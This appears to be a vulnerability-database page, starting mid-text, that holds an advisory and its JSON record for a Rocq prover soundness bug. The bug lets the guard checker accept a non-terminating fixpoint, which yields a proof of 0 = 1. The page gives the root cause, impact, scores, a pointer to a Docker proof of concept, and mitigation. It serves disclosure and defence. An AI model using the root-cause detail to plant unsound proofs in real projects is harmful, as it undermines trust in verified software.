guard checker to accept a recursive call on a non-structurally-
decreasing argument.
CWE-670: Always-Incorrect Control Flow Implementation.
6. Scoring
==========
CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 (High)
CVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N — 6.8
(Medium)
7. CWE
======
CWE-670: Always-Incorrect Control Flow Implementation
8. CVE
======
CVE-2026-72703 (assigned by VulnCheck as CNA)
9. Affected Versions
====================
Rocq Prover 8.20 – <9.2.0
Fixed in: 9.2.0
10. Mitigation
==============
- Upgrade to Rocq 9.2.0 or later.
- Run coqchk on compiled .vo files as defense-in-depth.
11. References
==============
Bug report: https://github.com/rocq-prover/rocq/issues/21682
Fix: https://github.com/rocq-prover/rocq/pull/21684
PoC: https://github.com/endrazine/rocq-cve-poc-21682
VulnCheck:
https://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accept...
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72703
12. Timeline
============
2025 Bug reported (rocq-prover/rocq#21682)
2025 Fix merged (PR #21684) in Rocq 9.2.0
2026-08-24 CVE-2026-72703 published by VulnCheck
2026-08-24 Docker-reproducible PoC published
13. Credit
==========
Bug discovery: Tristan Stérin, Claude Opus 4.6 (Anthropic)
Kernel fix: PR #21684
PoC packaging: Jonathan Brossard (@endrazine) — MOABI / PSIRT.com
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| rocq-prover | rocq |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0443 (this record)
- related CVE-2026-72703
{
"containers": {
"cna": {
"affected": [
{
"product": "rocq",
"vendor": "rocq-prover",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. Summary\n==========\nA soundness bug in the Rocq (formerly Coq) kernel\u0027s guard checker allows\nconstruction of a checked proof of False \u2014 and by extension, any\nproposition, including 0 = 1 \u2014 without axioms, tactics, plugins, or\nunsafe flags. Print Assumptions reports the proof as closed under the\nglobal context.\nThe guard checker treats all parameters of a nested mutual fixpoint as\nuniform without examining cross-calls between the fixpoint\u0027s bodies.\nA parameter that grows through a cross-call retains an incorrect subterm\nspecification, and a recursive call on a non-structurally-decreasing\nargument is accepted. This admits a non-terminating definition from\nwhich False follows.\n2. Context\n==========\nRocq (formerly Coq) is the reference implementation of the Calculus of\nInductive Constructions and one of the most widely deployed proof\nassistants. Its kernel is the trusted core that checks every proof\nbefore acceptance. A soundness bug in the guard checker \u2014 the component\nthat enforces termination of recursive definitions \u2014 undermines the\nguarantees of any system built on Rocq-checked proofs.\nFormally verified systems certified under Common Criteria (ISO 15408) or\nDO-178C (airborne software) derive their assurance from the correctness\nof the proof checker. A kernel-level bypass invalidates that assurance\nchain.\n3. Impact\n=========\n- Formally verified compilers (CompCert)\n- Verified OS kernels (CertiKOS)\n- Separation logic frameworks (Iris)\n- Mathematical libraries (MathComp)\n- Proof-carrying code: a malicious .v file in a dependency could\nintroduce unsound declarations\n- Verified smart contracts (ConCert)\n4. Proof of Concept\n===================\nA Docker-reproducible PoC is available:\ngit clone https://github.com/endrazine/rocq-cve-poc-21682\ncd rocq-cve-poc-21682\ndocker build -t rocq-cve-poc-21682 .\ndocker run --rm rocq-cve-poc-21682\nOn a vulnerable version (Rocq 8.20 \u2013 \u003c9.2.0), the output confirms the\nproof of 0 = 1 with no axioms. On a patched version (\u22659.2.0), the guard\nchecker rejects the fixpoint.\n5. Root Cause\n=============\nfind_uniform_parameters in kernel/inductive.ml only inspects\nself-recursive calls within each body of a mutual fixpoint. When no body\ncontains a self-recursive call (all calls are cross-calls), every\nparameter is marked as uniform. A parameter that varies across\ncross-calls retains an incorrect subterm specification, allowing the\nguard checker to accept a recursive call on a non-structurally-\ndecreasing argument.\nCWE-670: Always-Incorrect Control Flow Implementation.\n6. Scoring\n==========\nCVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N \u2014 7.1 (High)\nCVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N \u2014 6.8\n(Medium)\n7. CWE\n======\nCWE-670: Always-Incorrect Control Flow Implementation\n8. CVE\n======\nCVE-2026-72703 (assigned by VulnCheck as CNA)\n9. Affected Versions\n====================\nRocq Prover 8.20 \u2013 \u003c9.2.0\nFixed in: 9.2.0\n10. Mitigation\n==============\n- Upgrade to Rocq 9.2.0 or later.\n- Run coqchk on compiled .vo files as defense-in-depth.\n11. References\n==============\nBug report:\u00a0 https://github.com/rocq-prover/rocq/issues/21682\nFix:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0https://github.com/rocq-prover/rocq/pull/21684\nPoC:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0https://github.com/endrazine/rocq-cve-poc-21682\nVulnCheck:\nhttps://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accept...\nNVD:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0https://nvd.nist.gov/vuln/detail/CVE-2026-72703\n12. Timeline\n============\n2025\u00a0 \u00a0 \u00a0 \u00a0 Bug reported (rocq-prover/rocq#21682)\n2025\u00a0 \u00a0 \u00a0 \u00a0 Fix merged (PR #21684) in Rocq 9.2.0\n2026-08-24\u00a0 CVE-2026-72703 published by VulnCheck\n2026-08-24\u00a0 Docker-reproducible PoC published\n13. Credit\n==========\nBug discovery:\u00a0 \u00a0Tristan St\u00e9rin, Claude Opus 4.6 (Anthropic)\nKernel fix:\u00a0 \u00a0 \u00a0 PR #21684\nPoC packaging:\u00a0 \u00a0Jonathan Brossard (@endrazine) \u2014 MOABI / PSIRT.com"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-670",
"description": "CWE-670",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:45Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/1384fbeb9f552591ec08d7f26df654c9489b7b6495d63c9320a15f8698c581bb"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/FWH3Y6IDMATSM2C67YAGQBZKS7K6HRIT/"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-21682"
},
{
"url": "https://github.com/rocq-prover/rocq/issues/21682"
},
{
"url": "https://github.com/rocq-prover/rocq/pull/21684"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72703"
},
{
"url": "https://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accepts-non-terminating-fixpoint-via-unchecked-cross-calls"
}
],
"source": {
"defect": [
"4c3087fb-e79b-4740-b8ce-6d9ac36555c4%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] CVE-2026-72703: Rocq guard checker accepts non-terminating fixpoint via unchecked cross-calls (0 = 1 demonstrated)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-72703",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0443",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/1384fbeb9f552591ec08d7f26df654c9489b7b6495d63c9320a15f8698c581bb",
"automated": true,
"contentSha256": "1384fbeb9f552591ec08d7f26df654c9489b7b6495d63c9320a15f8698c581bb",
"evidenceScore": 10,
"messageId": "4c3087fb-e79b-4740-b8ce-6d9ac36555c4%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/FWH3Y6IDMATSM2C67YAGQBZKS7K6HRIT/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0443"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:45Z",
"dateUpdated": "2026-11-02T07:29:45Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0443"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 131 - 140 publications in total 581